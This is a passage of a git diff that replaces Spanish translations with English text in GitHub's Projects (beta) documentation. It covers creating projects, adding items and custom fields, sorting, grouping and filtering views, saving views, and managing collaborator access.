cómo las propuestas más pequeñas encajan en una meta más grande, utiliza listas de tareas, hitos o etiquetas. Para obtener más información, consulta las secciones "[Acerca de las listas de tareas](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)", "[Acerca de los hitos](/issues/using-labels-and-milestones-to-track-work/about-milestones)", y "[Administrar etiquetas](/issues/using-labels-and-milestones-to-track-work/managing-labels)". +To track how smaller issues fit into the larger goal, use task lists, milestones, or labels. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)", "[About milestones](/issues/using-labels-and-milestones-to-track-work/about-milestones)", and "[Managing labels](/issues/using-labels-and-milestones-to-track-work/managing-labels)." -## Comunica +## Communicate -Las propuestas y solicitudes de cambio incluyen características integradas que te permiten comunicarte fácilmente con tus colaboradores. Utiliza las @menciones para alertar a una persona o a todo el equipo sobre un comentario. Asigna colaboradores a las propuestas para comunicar las responsabilidades. Enlaza las propuestas o solicitudes de cambio relacionadas para comunicar cómo están conectadas. +Issues and pull requests include built-in features to let you easily communicate with your collaborators. Use @mentions to alert a person or entire team about a comment. Assign collaborators to issues to communicate responsibility. Link to related issues or pull requests to communicate how they are connected. -## Utiliza las vistas +## Use views -Utiliza las vistas de proyecto para mirarlo desde diferentes ángulos. +Use project views to look at your project from different angles. -Por ejemplo: +For example: -- Filtra por estado para ver los elementos que no se marcaron como favoritos -- Agrupar por un campo de prioridad personalizado para monitorear el volumen de los elementos de prioridad alta -- Ordena por un campo personalizado de fecha para ver los elementos con la fecha de envío destino más cercana +- Filter by status to view all un-started items +- Group by a custom priority field to monitor the volume of high priority items +- Sort by a custom date field to view the items with the earliest target ship date -Para obtener más información, consulta la sección "[Personalizar las vistas de tu proyecto](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)". +For more information, see "[Customizing your project views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)." -## Ten una fuente única de la verdad +## Have a single source of truth -Para prevenir que la información se desincronice, manten una fuente única de verdad. Por ejemplo, rastrea una fecha de envío destino en una sola ubicación en vez de que se propague a través de campos múltiples. Posteriormente, si la fecha de envío destino cambia, solo necesitas actualizar la fecha en una ubicación. +To prevent information from getting out of sync, maintain a single source of truth. For example, track a target ship date in a single location instead of spread across multiple fields. Then, if the target ship date shifts, you only need to update the date in one location. -Los proyectos de {% data variables.product.company_short %} se actualizan automáticamente con los datos de {% data variables.product.company_short %}, tales como los asignados, hitos y etiquetas. Cuando uno de estos campos cambia en una propuesta o solicitud de cambios, este cambio se refleja automáticamente en tu proyecto. +{% data variables.product.company_short %} projects automatically stay up to date with {% data variables.product.company_short %} data, such as assignees, milestones, and labels. When one of these fields changes in an issue or pull request, the change is automatically reflected in your project. -## Utiliza la automatización +## Use automation -You can automate tasks to spend less time on busy work and more time on the project itself. Entre menos tengas que recordar para hacer manualmente, será más probable que tu proyecto se mantenga actualizado. +You can automate tasks to spend less time on busy work and more time on the project itself. The less you need to remember to do manually, the more likely your project will stay up to date. Projects (beta) offers built-in workflows. For example, when an issue is closed, you can automatically set the status to "Done." -Additionally, {% data variables.product.prodname_actions %} and the GraphQL API enable you to automate routine project management tasks. Por ejemplo, para hacer un seguimiento de las solicitudes de cambios que están esperando una revisión, puedes crear un flujo de trabajo que agregue una solicitud de cambios a un proyecto y configure el estado en "necesita revisión"; este proceso se puede activar automátiamente cuando una solicitud de cambios se marque como "lista para revisión." +Additionally, {% data variables.product.prodname_actions %} and the GraphQL API enable you to automate routine project management tasks. For example, to keep track of pull requests awaiting review, you can create a workflow that adds a pull request to a project and sets the status to "needs review"; this process can be automatically triggered when a pull request is marked as "ready for review." -- Para encontrar un flujo de trabajo de ejemplo, consulta la sección "[Automatizar proyectos](/issues/trying-out-the-new-projects-experience/automating-projects)". -- Para obtener más información sobre la API, consulta la sección "[Utilizar la API para administrar los proyectos](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)". -- Para obtener más información acerca de {% data variables.product.prodname_actions %}, consulta la sección "[{% data variables.product.prodname_actions %}](/actions)". +- For an example workflow, see "[Automating projects](/issues/trying-out-the-new-projects-experience/automating-projects)." +- For more information about the API, see "[Using the API to manage projects](/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects)." +- For more information about {% data variables.product.prodname_actions %}, see ["{% data variables.product.prodname_actions %}](/actions)." ## Use different field types diff --git a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/creating-a-project.md b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/creating-a-project.md index 0a8b2c6493..e68a41f2ed 100644 --- a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/creating-a-project.md +++ b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/creating-a-project.md @@ -1,6 +1,6 @@ --- -title: Crear un proyecto (beta) -intro: 'Aprende cómo crear un proyecto, llénalo y agrega campos personalizados.' +title: Creating a project (beta) +intro: 'Learn how to make a project, populate it, and add custom fields.' allowTitleToDifferFromFilename: true miniTocMaxHeadingLevel: 3 versions: @@ -11,11 +11,11 @@ topics: - Projects --- -Los proyectos son una colección personalizable de elementos que se mantienen actualizados con los datos de {% data variables.product.company_short %}. Tus proyectos pueden rastrear propuestas, solicitudes de cambios e ideas que aterrices. Puedes agregar campos personalizados y vistas creativas para propósitos específicos. +Projects are a customizable collection of items that stay up-to-date with {% data variables.product.company_short %} data. Your projects can track issues, pull requests, and ideas that you jot down. You can add custom fields and create views for specific purposes. {% data reusables.projects.projects-beta %} -## Crear un proyecto +## Creating a project ### Creating an organization project @@ -25,41 +25,41 @@ Los proyectos son una colección personalizable de elementos que se mantienen ac {% data reusables.projects.create-user-project %} -## Agregar elementos a tu proyecto +## Adding items to your project -Tu proyecto puede rastrear borradores de propuestas, propuestas, y solicitudes de cambios. +Your project can track draft issues, issues, and pull requests. -### Crear borradores de propuestas +### Creating draft issues -Los borradores de propuestas son útiles si quieres capturar ideas rápidamente. +Draft issues are useful to quickly capture ideas. -1. Coloca tu cursor en la fila inferior del proyecto, junto al {% octicon "plus" aria-label="plus icon" %}. -2. Teclea tu ida y luego presiona **Enter**. +1. Place your cursor in the bottom row of the project, next to the {% octicon "plus" aria-label="plus icon" %}. +2. Type your idea, then press **Enter**. You can convert draft issues into issues. For more information, see [Converting draft issues to issues](#converting-draft-issues-to-issues). -### Propuestas y solicitudes de extracción +### Issues and pull requests -#### Pegar la URL de una propuesta o solicitud de cambios +#### Paste the URL of an issue or pull request -1. Coloca tu cursor en la fila inferior del proyecto, junto al {% octicon "plus" aria-label="plus icon" %}. -1. Pega la URL de la propuesta o solicitud de cambios. +1. Place your cursor in the bottom row of the project, next to the {% octicon "plus" aria-label="plus icon" %}. +1. Paste the URL of the issue or pull request. -#### Buscar una propuesta o solicitud de cambios +#### Searching for an issue or pull request -1. Coloca tu cursor en la fila inferior del proyecto, junto al {% octicon "plus" aria-label="plus icon" %}. -2. Ingresa `#`. -3. Selecciona el repositorio en donde se ubica la solicitud de cambios o propuesta. Puedes teclear la parte del nombre de repositorio para reducir tus opciones. -4. Selecciona la propuesta o solicitud de cambios. Puedes teclear parte del título para reducir tus opciones. +1. Place your cursor in the bottom row of the project, next to the {% octicon "plus" aria-label="plus icon" %}. +2. Enter `#`. +3. Select the repository where the pull request or issue is located. You can type part of the repository name to narrow down your options. +4. Select the issue or pull request. You can type part of the title to narrow down your options. -#### Asignar un rpoyecto desde dentro de una propuesta o solicitud de cambios +#### Assigning a project from within an issue or pull request -1. Navega a la propuesta o solicitud de cambios que quieras agregar a un proyecto. -2. En la barra lateral, haz clic en **Proyectos**. -3. Selecciona el proyecto al cual quieras agregar la propuesta o solicitud de cambios. -4. Opcionalmente, llena los campos personalizados. +1. Navigate to the issue or pull request that you want to add to a project. +2. In the side bar, click **Projects**. +3. Select the project that you want to add the issue or pull request to. +4. Optionally, populate the custom fields. - ![Barra lateral del proyecto](/assets/images/help/issues/project_side_bar.png) + ![Project sidebar](/assets/images/help/issues/project_side_bar.png) ## Converting draft issues to issues @@ -93,26 +93,27 @@ You can restore archived items but not deleted items. For more information, see To restore an archived item, navigate to the issue or pull request. In the project side bar on the issue or pull request, click **Restore** for the project that you want to restore the item to. Draft issues cannot be restored. -## Agregar campos +## Adding fields -Conforme cambian los valores de los campos, estos se sincronizan automáticamente para que tu proyecto y los elementos que rastrea estén actualizados. +As field values change, they are automatically synced so that your project and the items that it tracks are up-to-date. -### Mostrar campos existentes +### Showing existing fields -Tu proyecto rastrea la información actualizada de las propuestas y solicitudes de cambio, incluyendo cualquier cambio al título, asignados, etiquetas, hitos y repositorio. Cuando tu proyecto inicializa, se muestran el "título" y los "asignados"; los otros campos están ocultos. Puedes cambiar la visibilidad de estos campos en tu proyecto. +Your project tracks up-to-date information about issues and pull requests, including any changes to the title, assignees, labels, milestones, and repository. When your project initializes, "title" and "assignees" are displayed; the other fields are hidden. You can change the visibility of these fields in your project. 1. {% data reusables.projects.open-command-palette %} -2. Comienza a teclear "show". -3. Selecciona el comando deseado (por ejemplo: "Show: Repository"). +2. Start typing "show". +3. Select the desired command (for example: "Show: Repository"). -Como alternativa, puedes hacer esto en la IU: +Alternatively, you can do this in the UI: -1. Haz clic en {% octicon "plus" aria-label="the plus icon" %} en el encabezado de campo que está hasta la derecha. Aparecerá un menú desplegable con los campos de proyecto. ![Mostrar u ocultar los campos](/assets/images/help/issues/projects_fields_menu.png) -2. Selecciona el(los) campo(s) que quieras desplegar u ocultar. Un {% octicon "check" aria-label="check icon" %} indica qué campos se muestran. +1. Click {% octicon "plus" aria-label="the plus icon" %} in the rightmost field header. A drop-down menu with the project fields will appear. + ![Show or hide fields](/assets/images/help/issues/projects_fields_menu.png) +2. Select the field(s) that you want to display or hide. A {% octicon "check" aria-label="check icon" %} indicates which fields are displayed. -### Agregar campos personalizados +### Adding custom fields -Puedes agregar campos personalizados a tu proyecto. Los campos personalizados se mostrarán en la bara lateral de las propuestas y solicitudes de cambio en el proyecto. +You can add custom fields to your project. Custom fields will display on the side bar of issues and pull requests in the project. Custom fields can be text, number, date, single select, or iteration: @@ -122,11 +123,12 @@ Custom fields can be text, number, date, single select, or iteration: - Single select: The value must be selected from a set of specified values. - Iteration: The value must be selected from a set of date ranges (iterations). Iterations in the past are automatically marked as "completed", and the iteration covering the current date range is marked as "current". -1. {% data reusables.projects.open-command-palette %} Comienza a teclear cualquier parte de "Create new field". Cuando se muestre "Create new field" en la paleta de comandos, selecciónalo. -2. Como alternativa, haz clic en {% octicon "plus" aria-label="the plus icon" %} en el encabezado de campo que está lo más hacia la derecha. Aparecerá un menú desplegable con los campos de proyecto. Haz clic en **Campo nuevo**. -3. Se mostrará una ventana emergente para que ingreses la información sobre el campo nuevo. ![Campo nuevo](/assets/images/help/issues/projects_new_field.png) -4. En la caja de texto, ingresa un nombre para el campo nuevo. -5. Selecciona el menú desplegable y haz clic en el tipo deseado. +1. {% data reusables.projects.open-command-palette %} Start typing any part of "Create new field". When "Create new field" displays in the command palette, select it. +2. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} in the rightmost field header. A drop-down menu with the project fields will appear. Click **New field**. +3. A popup will appear for you to enter information about the new field. + ![New field](/assets/images/help/issues/projects_new_field.png) +4. In the text box, enter a name for the new field. +5. Select the dropdown menu and click the desired type. 6. If you specified **Single select** as the type, enter the options. 7. If you specified **Iteration** as the type, enter the start date of the first iteration and the duration of the iteration. Three iterations are automatically created, and you can add additional iterations on the project's settings page. @@ -139,7 +141,7 @@ You can later edit the drop down options for single select and iteration fields. ## Customizing your views -Puedes ver tu proyecto como una tabla o tablero, agrupar los elementos por campo, elemento de filtrado y más. Para obtener más información, consulta la sección "[Personalizar las vistas de tu proyecto (beta)](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)". +You can view your project as a table or board, group items by field, filter item, and more. For more information, see "[Customizing your project (beta) views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)." ## Configuring built-in automation diff --git a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md index b18a8b45d8..4b879741b9 100644 --- a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md +++ b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/customizing-your-project-views.md @@ -1,6 +1,6 @@ --- -title: Personalizar las vistas de tu proyecto (beta) -intro: 'Muestra la información que necesitas cambiando el diseño, agrupamiento, forma de ordenar y los filtros de tu proyecto.' +title: Customizing your project (beta) views +intro: 'Display the information you need by changing the layout, grouping, sorting, and filters in your project.' allowTitleToDifferFromFilename: true versions: fpt: '*' @@ -17,144 +17,169 @@ topics: Use the project command palette to quickly change settings and run commands in your project. 1. {% data reusables.projects.open-command-palette %} -2. Comienza a teclear cualquier parte de un comando o navega a través de la ventana de la paleta de comandos para encontrarlo. Consulta las siguientes secciones para encontrar más ejemplos de comandos. +2. Start typing any part of a command or navigate through the command palette window to find a command. See the next sections for more examples of commands. -## Cambiar el diseño +## Changing the project layout -Puedes ver tu proyecto como una tabla o como un tablero. +You can view your project as a table or as a board. 1. {% data reusables.projects.open-command-palette %} -2. Comienza a teclear "Switch layout". -3. Selecciona el comando deseado (por ejemplo: "Switch layout: Table"). -3. Como alternativa, selecciona el menú desplegable junto a un nombre de vista y haz clic en**Tabla** o en **Tablero**. +2. Start typing "Switch layout". +3. Choose the required command. For example, **Switch layout: Table**. +3. Alternatively, click the drop-down menu next to a view name and click **Table** or **Board**. -## Mostrar u ocultar los campos +## Showing and hiding fields You can show or hide a specific field. In table layout: 1. {% data reusables.projects.open-command-palette %} -2. Comienza a teclear la acción que quieres tomar ("show" o "hide") o el nombre del campo. -3. Selecciona el comando deseado (por ejemplo: "Show: Milestone"). -4. Como alternativa, haz clic en {% octicon "plus" aria-label="the plus icon" %} a la derecha de la tabla. En el menú desplegable que se muestra, indica qué campos mostrar u ocultar. Un {% octicon "check" aria-label="check icon" %} indica qué campos se muestran. -5. Como alternativa, selecciona el menú desplegable junto al nombre del campo y haz clic en **Esconder campo**. +2. Start typing the action you want to take ("show" or "hide") or the name of the field. +3. Choose the required command. For example, **Show: Milestone**. +4. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} to the right of the table. In the drop-down menu that appears, indicate which fields to show or hide. A {% octicon "check" aria-label="check icon" %} indicates which fields are displayed. +5. Alternatively, click the drop-down menu next to the field name and click **Hide field**. In board layout: -1. Selecciona el menú desplegable junto al nombre de l vista. +1. Click the drop-down menu next to the view name. 2. Under **configuration**, click {% octicon "list-unordered" aria-label="the unordered list icon" %}. -3. In the menu that appears, select fields to add them and deselect fields to remove them from the view. +3. In the menu that's displayed, select fields to add them and deselect fields to remove them from the view. -## Reordenar campos +## Reordering fields -Puedes cambiar el orden de los campos. +You can change the order of fields. -1. Haz clic en el encabezado del campo. -2. A la par que haces clic, arrastra el campo a la ubicación deseada. +1. Click the field header. +2. While clicking, drag the field to the required location. -## Reordenar filas +## Reordering rows -En el diseño de tabla, puedes cambiar el orden de las filas. +In table layout, you can change the order of rows. -1. Haz clic en el número al inicio de la fila. -2. A la par que haces clic, arrastra la fila a la ubicación deseada. +1. Click the number at the start of the row. +2. While clicking, drag the row to the required location. -## Clasificar +## Sorting by field values -En el diseño de tabla, puedes organizar los elementos por valor de campo. +In table layout, you can sort items by a field value. 1. {% data reusables.projects.open-command-palette %} -2. Comienza a teclear "Sort by" o el nombre del campo por el cual quieras ordenar. -3. Selecciona el comando deseado (por ejemplo: "Ordenar por: Asignados, asc"). -4. Como alternativa, selecciona el menú desplegable junto al nombre del campo que quieres ordenar y haz clic en **Ordenar ascendentemente** u **Ordenar descendientemente**. +2. Start typing "Sort by" or the name of the field you want to sort by. +3. Choose the required command. For example, **Sort by: Assignees, asc**. +4. Alternatively, click the drop-down menu next to the field name that you want to sort by and click **Sort ascending** or **Sort descending**. {% note %} -**Nota:** Cuando se ordena una tabla, no puedes reordenar las filas manualmente. +**Note:** When a table is sorted, you cannot manually reorder rows. {% endnote %} -Sigue pasos similares para eliminar una clasificación. +Follow similar steps to remove a sort. 1. {% data reusables.projects.open-command-palette %} -2. Comienza a teclear "Remove sort-by". -3. Selecciona el comando "Remove sort-by". -4. Como alternativa, selecciona el menú desplegable junto al nombre de la vista y haz clic en el elemento de menú que indique a clasificación actual. +2. Start typing "Remove sort-by". +3. Choose **Remove sort-by**. +4. Alternatively, click the drop-down menu next to the view name and click the menu item that indicates the current sort. -## Grupo +## Grouping by field values -En el diseño de tabla, puedes agrupar elementos por un valor de campo personalizado. Cuando los elementos se agrupan, si arrastras un elemento a un grupo nuevo, se aplica el valor de este grupo. Por ejemplo, si agrupas por `Status` y luego arrastras un elemento con un estado a `In progress` hacia el grupo `Done`, el estado del elemento cambiará a `Done`. +In the table layout, you can group items by a custom field value. When items are grouped, if you drag an item to a new group, the value of that group is applied. For example, if you group by "Status" and then drag an item with a status of `In progress` to the `Done` group, the status of the item will switch to `Done`. {% note %} -**Nota:** Actualmente, no puedes agrupar por título, asignados, repositorio o etiquetas. +**Note:** Currently, you cannot group by title, assignees, repository or labels. {% endnote %} 1. {% data reusables.projects.open-command-palette %} -2. Comienza a teclear "Group by" o el nombre del campo por el cual quieres agrupar. -3. Selecciona el comando deseado (por ejemplo "Group by: Status"). -4. Como alternativa, selecciona el menú desplegable junto al nombre de campo por el cual quieras agrupar y haz clic en **Agrupar por valores**. +2. Start typing "Group by" or the name of the field you want to group by. +3. Choose the required command. For example, **Group by: Status**. +4. Alternatively, click the drop-down menu next to the field name that you want to group by and click **Group by values**. -Sigue pasos similares para eliminar un agrupamiento. +Follow similar steps to remove a grouping. 1. {% data reusables.projects.open-command-palette %} -2. Comienza a teclear "Remove group-by". -3. Selecciona el comando "Remove group-by". -4. Como alternativa, selecciona un menú descendente para ver el nombre y haz clic en el elemento del menú que indica el agrupamiento actual. +2. Start typing "Remove group-by". +3. Choose **Remove group-by**. +4. Alternatively, click the drop-down menu next to the view name and click the menu item that indicates the current grouping. -## Filtrar +## Filtering rows -Click {% octicon "search" aria-label="the search icon" %} at the top of the table to show the "Filter by keyword or field" bar. Start typing the field name and value that you want to filter by. Conforme teclees, se mostrarán los posibles valores. +Click {% octicon "search" aria-label="the search icon" %} at the top of the table to show the "Filter by keyword or field" bar. Start typing the field name and value that you want to filter by. As you type, possible values will appear. -- Para filtrar valores múltiples, sepáralos con una coma. Por ejemplo `label:"good first issue",bug` listará las propuestas con una etiqueta de `good first issue` o de `bug`. -- Para filtrar la ausencia de un valor específico, coloca `-` antes de tu filtro. Por ejemplo, `-label:"bug"` mostrará solo elementos que no tengan la etiqueta `bug`. -- Para filtrar de acuerdo a la ausencia de todos los valores, ingresa `no:` seguido del nombre del campo. Por ejemplo, `no:assignee` solo mostrará los elementos que no tengan un asignado. +- To filter for multiple values, separate the values with a comma. For example `label:"good first issue",bug` will list all issues with a label `good first issue` or `bug`. +- To filter for the absence of a specific value, place `-` before your filter. For example, `-label:"bug"` will only show items that do not have the label `bug`. +- To filter for the absence of all values, enter `no:` followed by the field name. For example, `no:assignee` will only show items that do not have an assignee. - To filter by state, enter `is:`. For example, `is: issue` or `is:open`. -- Separa los filtros múltiples con un espacio. Por ejemplo, `status:"In progress" -label:"bug" no:assignee` solo mostrará los elementos que tengan un estado de `In progress`, que no tengan la etiqueta `bug` y que no tengan un asignado. +- Separate multiple filters with a space. For example, `status:"In progress" -label:"bug" no:assignee` will show only items that have a status of `In progress`, do not have the label `bug`, and do not have an assignee. Alternatively, use the command palette. 1. {% data reusables.projects.open-command-palette %} -2. Comienza a teclear "Filter by" o el nombre del campo por el cual quieres filtrar. -3. Selecciona el comando deseado (por ejemplo "filter by Status"). -4. Ingresa el valor por el cual quieras filtrar (por ejemplo: "In progress"). También puedes filtrar por la ausencia de valores específicos (por ejemplo;: "Exclude status") o por la ausencia de todos los valores (por ejemplo: "No status"). +2. Start typing "Filter by" or the name of the field you want to filter by. +3. Choose the required command. For example, **Filter by Status**. +4. Enter the value that you want to filter for. For example: "In progress". You can also filter for the absence of specific values (for example, choose "Exclude status" then choose a status) or the absence of all values (for example, "No status"). In board layout, you can click on item data to filter for items with that value. For example, click on an assignee to show only items for that assignee. To remove the filter, click the item data again. -## Guardar vistas +## Creating a project view -Las vistas guardadas te permiten ver rápidamente los aspectos específicos de tu proyecto. Por ejemplo, puedes tener lo siguiente: -- una vista que muestre todos los elementos sin comenzar (filtrar por "Status"). -- una vista que muestre la carga de trabajo para cada miembro del equipo (agrupar por "Asignee" y filtrar por "Status"). -- una vista que muestre los elementos con la fecha de envío destino más cercana (agrupar por el campo de fecha). +Project views allow you to quickly view specific aspects of your project. Each view is displayed on a separate tab in your project. -Los siguientes pasos demuestran cómo agregar una vista nueva: +For example, you can have: +- A view that shows all items not yet started (filter on "Status"). +- A view that shows the workload for each team (group by a custom "Team" field). +- A view that shows the items with the earliest target ship date (sort by a date field). + +To add a new view: 1. {% data reusables.projects.open-command-palette %} -2. Comienza a teclear "New view" (para crear una vista nueva) o "Duplicate view" (para duplicar la vista actual). -3. Selecciona el comando deseado. -4. Como alternativa, haz clic en {% octicon "plus" aria-label="the plus icon" %} **Vista nueva** junto a la vista que está más hacia la derecha. -5. Como alternativa, selecciona el menú desplegable junto a un nombre de vista y haz clic en **Duplicar vista**. +2. Start typing "New view" (to create a new view) or "Duplicate view" (to duplicate the current view). +3. Choose the required command. +4. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} **New view** next to the rightmost view. +5. Alternatively, click the drop-down menu next to a view name and click **Duplicate view**. -Cuando hagas cambios a una vista, se mostrará un punto junto al nombre de vista para indicar que dicha vista se modificó. Si no quieres guardar los cambios, puedes ignorar este indicador. Para guardar la vista de todos los miembros del proyecto: +The new view is automatically saved. +## Saving changes to a view + +When you make changes to a view - for example, sorting, reordering, filtering, or grouping the data in a view - a dot is displayed next to the view name to indicate that there are unsaved changes. + +![Unsaved changes indicator](/assets/images/help/projects/unsaved-changes.png) + +If you don't want to save the changes, you can ignore this indicator. No one else will see your changes. + +To save the current configuration of the view for all project members: 1. {% data reusables.projects.open-command-palette %} -1. Comienza a teclear "Save view" o "Save changes to new view". -1. Selecciona el comando deseado. -1. Como alternativa, selecciona el menú desplegable junto a un nombre de vista y haz clic en **Guardar vista** o en **Guardar los cambios a la vista nueva**. +1. Start typing "Save view" or "Save changes to new view". +1. Choose the required command. +1. Alternatively, click the drop-down menu next to a view name and click **Save view** or **Save changes to new view**. -Para renombrar una vista, haz doble clic en el nombre de vista y teclea el nombre deseado. +## Reordering saved views -Para borrar una vista: +To change the order of the tabs that contain your saved views, click and drag a tab to a new location. +The new tab order is automatically saved. + +## Renaming a saved view + +To rename a view: +1. Double click the name in the project tab. +1. Change the name. +1. Press Enter, or click outside of the tab. + +The name change is automatically saved. + +## Deleting a saved view + +To delete a view: 1. {% data reusables.projects.open-command-palette %} -2. Comienza a teclear "Delete view". -3. Selecciona el comando deseado. -4. Como alternativa, selecciona el menú desplegable junto a un nombre de vista y haz clic en **Borrar vista**. +2. Start typing "Delete view". +3. Choose the required command. +4. Alternatively, click the drop-down menu next to a view name and click **Delete view**. -## Leer más +## Further reading -- "[Acerca de los proyectos (beta)](/issues/trying-out-the-new-projects-experience/about-projects)" -- "[Crear un proyecto (beta)](/issues/trying-out-the-new-projects-experience/creating-a-project)" +- "[About projects (beta)](/issues/trying-out-the-new-projects-experience/about-projects)" +- "[Creating a project (beta)](/issues/trying-out-the-new-projects-experience/creating-a-project)" diff --git a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md index fce0c4c06f..0e92893d8d 100644 --- a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md +++ b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md @@ -15,9 +15,9 @@ topics: ## About project access -Admins of organization-level projects can manage access to their organization's projects for everyone in the organization. Organization project admins can also manage access for individual organization members. +Admins of organization-level projects can manage access for the entire organization, for teams, and for individual organization members. -Admins of user-level projects can invite collaborators and manage access for individual collaborators. +Admins of user-level projects can invite individual collaborators and manage their access. Project admins can also control the visibility of their project for everyone on the internet. For more information, see "[Managing the visibility of your projects](/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects)." @@ -35,17 +35,19 @@ The default base role is `write`, meaning that everyone in the organization can - **Write**: Everyone in the organization can see and edit the project. Organization owners are also admins for the project. - **Admin**: Everyone in the organization is an admin for the project. -### Managing access for individual members of your organization +### Managing access for teams and individual members of your organization -You can also add individual organization members as collaborators to your project. Only organization members can be added as collaborators to organization projects. +You can also add teams, and individual organization members, as collaborators. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)." + +You can only invite an individual user to collaborate on your organization-level project if they are a member of the organization. {% data reusables.projects.project-settings %} 1. Click **Manage access**. -1. Under **Invite collaborators**, search for the organization member that you want to invite. +1. Under **Invite collaborators**, search for the team or organization member that you want to invite. 1. Select the role for the collaborator. - - **Read**: The individual can view the project. - - **Write**: The individual can view and edit the project. - - **Admin**: The individual can view, edit, and add new collaborators to the project. + - **Read**: The team or individual can view the project. + - **Write**: The team or individual can view and edit the project. + - **Admin**: The team or individual can view, edit, and add new collaborators to the project. 1. Click **Invite**. ### Managing access of an existing collaborator on your project @@ -53,6 +55,9 @@ You can also add individual organization members as collaborators to your projec {% data reusables.projects.project-settings %} 1. Click **Manage access**. 1. Under **Manage access**, find the collaborator(s) whose permissions you want to modify. + + You can use the **Type** and **Role** drop-down menus to filter the access list. + 1. Edit the role for the collaborator(s) or click {% octicon "trash" aria-label="the trash icon" %} to remove the collaborator(s). ## Managing access for user-level projects @@ -79,4 +84,7 @@ This only affects collaborators for your project, not for repositories in your p {% data reusables.projects.project-settings %} 1. Click **Manage access**. 1. Under **Manage access**, find the collaborator(s) whose permissions you want to modify. + + You can use the **Role** drop-down menu to filter the access list. + 1. Edit the role for the collaborator(s) or click {% octicon "trash" aria-label="the trash icon" %} to remove the collaborator(s). diff --git a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/quickstart.md b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/quickstart.md index 011c2eb2bd..4b64c42f6a 100644 --- a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/quickstart.md +++ b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/quickstart.md @@ -1,6 +1,6 @@ --- -title: Inicio rápido para los proyectos (beta) -intro: 'Experimenta la velocidad, flexibilidad y personalización de proyectos (beta) creando un proyecto en esta guía interactiva.' +title: Quickstart for projects (beta) +intro: 'Experience the speed, flexibility, and customization of projects (beta) by creating a project in this interactive guide.' allowTitleToDifferFromFilename: true miniTocMaxHeadingLevel: 3 versions: @@ -13,17 +13,17 @@ topics: {% data reusables.projects.projects-beta %} -## Introducción +## Introduction -Esta guía te demuestra cómo utilizar los proyectos (beta) para planear y rastrear el trabajo. En esta guía, crearás un proyecto nueuvo y agregarás un campo personalizado para rastrear prioridades para tus tareas. También aprenderás cómo crear las vistas guardadas que te ayudarán a comunicar las prioridades y el progreso con tus colaboradores. +This guide demonstrates how to use projects (beta) to plan and track work. In this guide, you will create a new project and add a custom field to track priorities for your tasks. You'll also learn how to create saved views that help you communicate priorities and progress with your collaborators. -## Prerrequisitos +## Prerequisites -You can either create an organization project or a user project. To create an organization project, you need a {% data variables.product.prodname_dotcom %} organization. Para obtener más información sobre cómo crear una organización, consulta la sección "[Crear una organización nueva desde cero](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)". +You can either create an organization project or a user project. To create an organization project, you need a {% data variables.product.prodname_dotcom %} organization. For more information about creating an organization, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." -In this guide, you will add existing issues from repositories owned by your organization (for organization projects) or by you (for user projects) to your new project. Para obtener más información sobre cómo crear propuestas, consulta la sección "[Crear una propuesta](/issues/tracking-your-work-with-issues/creating-an-issue)". +In this guide, you will add existing issues from repositories owned by your organization (for organization projects) or by you (for user projects) to your new project. For more information about creating issues, see "[Creating an issue](/issues/tracking-your-work-with-issues/creating-an-issue)." -## Crear un proyecto +## Creating a project First, create an organization project or a user project. @@ -35,96 +35,98 @@ First, create an organization project or a user project. {% data reusables.projects.create-user-project %} -## Agregar propuestas a tu proyecto +## Adding issues to your project -A continuación, agrega algunas propuestas a tu proyecto. +Next, add a few issues to your project. -Cuando inicializa tu proyecto nuevo, te pide agregar elementos al mismo. Si pierdes esta vista o quieres agregar más propuestas posteriormente, coloca tu cursor en la fila inferior del proyecto, junto al {% octicon "plus" aria-label="plus icon" %}. +When your new project initializes, it prompts you to add items to your project. If you lose this view or want to add more issues later, place your cursor in the bottom row of the project, next to the {% octicon "plus" aria-label="plus icon" %}. -1. Teclea `#`. -2. Selecciona el repositorio en donde se encuentra tu propuesta. Para reducir las opciones, puedes comenzar a teclear parte del nombre del repositorio. -3. Seleciona tu propuesta. Para reducir las opciones, puedes comenzar a teclear parte del título de la propuesta. +1. Type `#`. +2. Select the repository where your issue is located. To narrow down the options, you can start typing a part of the repository name. +3. Select your issue. To narrow down the options, you can start typing a part of the issue title. -Repite los pasos anteriores algunas veces para agregar propuestas múltiples a tu proyecto. +Repeat the above steps a few times to add multiple issues to your project. -Para obtener más información sobre otras formas de agregar usuarios a tu proyecto o acerca de otros elementos que puedes agregar a tu proyecto, consulta la sección "[Crear un proyecto](/issues/trying-out-the-new-projects-experience/creating-a-project#adding-items-to-your-project)". +For more information about other ways to add issues to your project, or about other items you can add to your project, see "[Creating a project](/issues/trying-out-the-new-projects-experience/creating-a-project#adding-items-to-your-project)." -## Crear un campo para rastrear la prioridad +## Creating 